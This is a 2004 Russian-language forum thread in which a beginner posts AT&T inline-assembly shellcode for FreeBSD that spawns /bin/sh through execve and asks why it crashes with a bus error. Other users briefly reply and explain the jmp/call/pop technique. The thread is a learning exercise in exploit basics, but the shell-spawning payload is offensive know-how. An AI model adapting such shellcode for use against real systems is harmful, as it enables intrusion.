· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.UNIX —› at&t inline asm shellcode

Посл.отвђт Сообщенiе


Дата: Июн 24, 2004 20:56:39

решил попробовать накидать шеллкод (см сабдж), а он зараза падает в кору (bus error)

код:
void shellcode(void) {
__asm__(
"jmp .+16\n"
"popl %esi\n"

"xorl %eax,%eax\n"
"movb %al,7(%esi)\n" //!!! вот тут вываливается

"pushl %eax\n"
"pushl %eax\n"
"pushl %esi\n"
"movb $59,%al\n"
"pushl %eax\n"
"int $0x80\n"

"call .-14\n"
".string \"/bin/shX\"\n"
);
}

Ну а извращатся так пришлось (чегоуж умничать - все как в туториалах), для того чтобы определить адрес стринга с именем шелла где в памати лежит...адрес опредиляется, и прыгает по джампам как надо...а вот чего ему не нравится в том что я хочу загнать ноль по относительному смещению в конец строки - непонимаю :-/

P.S. под FreeBSD 4.7


Дата: Июн 24, 2004 22:40:35

"jmp .+16\n"
"popl %esi\n"

насколько успел разобраться - здесь немного не того...


Дата: Июн 24, 2004 22:50:50

шеллкод от Ni0S ковыряешь? ;)
юзай gdb и тогда разберешься ..


Дата: Июн 26, 2004 10:50:14

>юзай gdb и тогда разберешься ..
а как я по твоемому узнал в какой строке он вываливает bus error ?

for Shift:
первый jmp прыгает на инструкцию call (которая при вызове сохраняет в стеке адрес следующей инструкции, в данном примере - это адрес начала стороки /bin/shX, который передается как параметр для вызова execve syscall)

popl %esi - выгребает со стека этот адрес, а
movb %al,7(%esi) устанавливает \0 вместо Х

Поправте если чего не так... (как бы все вышесказанное взято с тутора...а вот почему, собственно говоря, она не работает по такой схеме - незнаю...новичок я еще :)


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.083